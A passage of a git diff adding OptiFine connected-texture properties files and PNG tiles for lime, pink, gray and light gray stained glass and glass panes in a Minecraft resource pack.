/dev/null +++ b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_lime.properties @@ -0,0 +1,5 @@ +# Stained glass lime +matchBlocks=lime_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_pane_lime.properties b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_pane_lime.properties new file mode 100644 index 00000000..d3439352 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/05_glass_lime/glass_pane_lime.properties @@ -0,0 +1,6 @@ +# Stained glass pane lime +matchBlocks=lime_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/0.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/0.png new file mode 100644 index 00000000..8d8797fa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/1.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/1.png new file mode 100644 index 00000000..d76916cd Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/10.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/10.png new file mode 100644 index 00000000..f5a88c23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/11.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/11.png new file mode 100644 index 00000000..55423a15 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/12.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/12.png new file mode 100644 index 00000000..c0bbbbf5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/13.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/13.png new file mode 100644 index 00000000..03aee8fb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/14.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/14.png new file mode 100644 index 00000000..379924a3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/15.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/15.png new file mode 100644 index 00000000..afb28c1b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/16.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/16.png new file mode 100644 index 00000000..0a4e6413 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/17.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/17.png new file mode 100644 index 00000000..4c7e376a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/18.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/18.png new file mode 100644 index 00000000..10247633 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/19.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/19.png new file mode 100644 index 00000000..ac2fd183 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/2.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/2.png new file mode 100644 index 00000000..795bd7ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/20.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/20.png new file mode 100644 index 00000000..2a1a37be Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/21.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/21.png new file mode 100644 index 00000000..9852cf78 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/22.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/22.png new file mode 100644 index 00000000..61a8765b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/23.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/23.png new file mode 100644 index 00000000..73583d50 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/24.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/24.png new file mode 100644 index 00000000..e5661ffe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/25.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/25.png new file mode 100644 index 00000000..ddf870ab Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/26.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/26.png new file mode 100644 index 00000000..c07fa65a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/27.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/27.png new file mode 100644 index 00000000..4d96cc7b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/28.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/28.png new file mode 100644 index 00000000..388d614a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/29.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/29.png new file mode 100644 index 00000000..12daa60e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/3.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/3.png new file mode 100644 index 00000000..c7548e6e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/30.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/30.png new file mode 100644 index 00000000..974d2d08 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/31.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/31.png new file mode 100644 index 00000000..9440c590 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/32.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/32.png new file mode 100644 index 00000000..90821e8f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/33.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/33.png new file mode 100644 index 00000000..34432ac4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/34.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/34.png new file mode 100644 index 00000000..d6a315c6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/35.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/35.png new file mode 100644 index 00000000..afd34d88 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/36.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/36.png new file mode 100644 index 00000000..dee4accf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/37.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/37.png new file mode 100644 index 00000000..bda3e780 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/38.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/38.png new file mode 100644 index 00000000..e0cb6695 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/39.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/39.png new file mode 100644 index 00000000..0997018f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/4.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/4.png new file mode 100644 index 00000000..b78ebfc6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/40.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/40.png new file mode 100644 index 00000000..6455792f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/41.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/41.png new file mode 100644 index 00000000..6a25f73a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/42.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/42.png new file mode 100644 index 00000000..e7a832f2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/43.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/43.png new file mode 100644 index 00000000..5bffc77e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/44.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/44.png new file mode 100644 index 00000000..9759f2f9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/45.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/45.png new file mode 100644 index 00000000..a17bba71 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/46.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/46.png new file mode 100644 index 00000000..38481d6f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/5.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/5.png new file mode 100644 index 00000000..683275da Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/6.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/6.png new file mode 100644 index 00000000..ebf4c0b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/7.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/7.png new file mode 100644 index 00000000..b3abe81b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/8.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/8.png new file mode 100644 index 00000000..b879ca1d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/9.png b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/9.png new file mode 100644 index 00000000..37231ab2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pane_pink.properties b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pane_pink.properties new file mode 100644 index 00000000..641e42d0 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pane_pink.properties @@ -0,0 +1,6 @@ +# Stained glass pane pink +matchBlocks=pink_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pink.properties b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pink.properties new file mode 100644 index 00000000..0c5c1f32 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/06_glass_pink/glass_pink.properties @@ -0,0 +1,5 @@ +# Stained glass pink +matchBlocks=pink_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/0.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/0.png new file mode 100644 index 00000000..6c50aee6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/1.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/1.png new file mode 100644 index 00000000..5ca0d88f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/10.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/10.png new file mode 100644 index 00000000..3b468b91 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/11.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/11.png new file mode 100644 index 00000000..e616b4d4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/12.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/12.png new file mode 100644 index 00000000..44a6e2e2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/13.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/13.png new file mode 100644 index 00000000..a2e4cf70 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/14.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/14.png new file mode 100644 index 00000000..cf88fbd4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/15.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/15.png new file mode 100644 index 00000000..9a4db195 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/16.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/16.png new file mode 100644 index 00000000..d9138978 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/17.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/17.png new file mode 100644 index 00000000..ae28ff23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/18.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/18.png new file mode 100644 index 00000000..e058a12f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/19.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/19.png new file mode 100644 index 00000000..6d1e2f69 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/2.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/2.png new file mode 100644 index 00000000..dac921ad Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/20.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/20.png new file mode 100644 index 00000000..4609676d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/21.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/21.png new file mode 100644 index 00000000..ce603133 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/22.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/22.png new file mode 100644 index 00000000..480b394c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/23.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/23.png new file mode 100644 index 00000000..714695b6 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/24.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/24.png new file mode 100644 index 00000000..b71103ef Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/25.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/25.png new file mode 100644 index 00000000..0fefda51 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/26.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/26.png new file mode 100644 index 00000000..b5201b00 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/27.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/27.png new file mode 100644 index 00000000..3d952403 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/28.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/28.png new file mode 100644 index 00000000..13a4ae52 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/29.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/29.png new file mode 100644 index 00000000..c192f835 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/3.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/3.png new file mode 100644 index 00000000..4635111a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/30.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/30.png new file mode 100644 index 00000000..25a92337 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/31.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/31.png new file mode 100644 index 00000000..960f79d0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/32.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/32.png new file mode 100644 index 00000000..191b9bbe Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/33.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/33.png new file mode 100644 index 00000000..43ba33a9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/34.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/34.png new file mode 100644 index 00000000..f917d04c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/35.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/35.png new file mode 100644 index 00000000..0f3a57f1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/36.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/36.png new file mode 100644 index 00000000..9588a18b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/37.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/37.png new file mode 100644 index 00000000..29c3844d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/38.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/38.png new file mode 100644 index 00000000..0e752277 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/39.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/39.png new file mode 100644 index 00000000..56cc40ba Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/4.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/4.png new file mode 100644 index 00000000..64c0e381 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/40.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/40.png new file mode 100644 index 00000000..d142c047 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/41.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/41.png new file mode 100644 index 00000000..6445162f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/42.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/42.png new file mode 100644 index 00000000..b3b8055b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/43.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/43.png new file mode 100644 index 00000000..c0a69fd9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/44.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/44.png new file mode 100644 index 00000000..29dbcbe2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/45.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/45.png new file mode 100644 index 00000000..e8f1a450 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/46.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/46.png new file mode 100644 index 00000000..48bf764d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/5.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/5.png new file mode 100644 index 00000000..abfd9e28 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/6.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/6.png new file mode 100644 index 00000000..8bc1b347 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/7.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/7.png new file mode 100644 index 00000000..4eb7029a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/8.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/8.png new file mode 100644 index 00000000..d8d5eec9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/9.png b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/9.png new file mode 100644 index 00000000..a8817f38 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_gray.properties b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_gray.properties new file mode 100644 index 00000000..84bb9469 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_gray.properties @@ -0,0 +1,5 @@ +# Stained glass gray +matchBlocks=gray_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_pane_gray.properties b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_pane_gray.properties new file mode 100644 index 00000000..a8c148ea --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/07_glass_gray/glass_pane_gray.properties @@ -0,0 +1,6 @@ +# Stained glass pane gray +matchBlocks=gray_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/0.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/0.png new file mode 100644 index 00000000..c586066a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/1.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/1.png new file mode 100644 index 00000000..bdd9e9d1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/10.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/10.png new file mode 100644 index 00000000..4c65731d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/11.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/11.png new file mode 100644 index 00000000..c001712c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/12.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/12.png new file mode 100644 index 00000000..18daa3a1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/13.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/13.png new file mode 100644 index 00000000..6361fd77 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/14.png b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/14.png new file mode 100644 index 00000000..603e9628 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/08_glass_light_gray/15.png 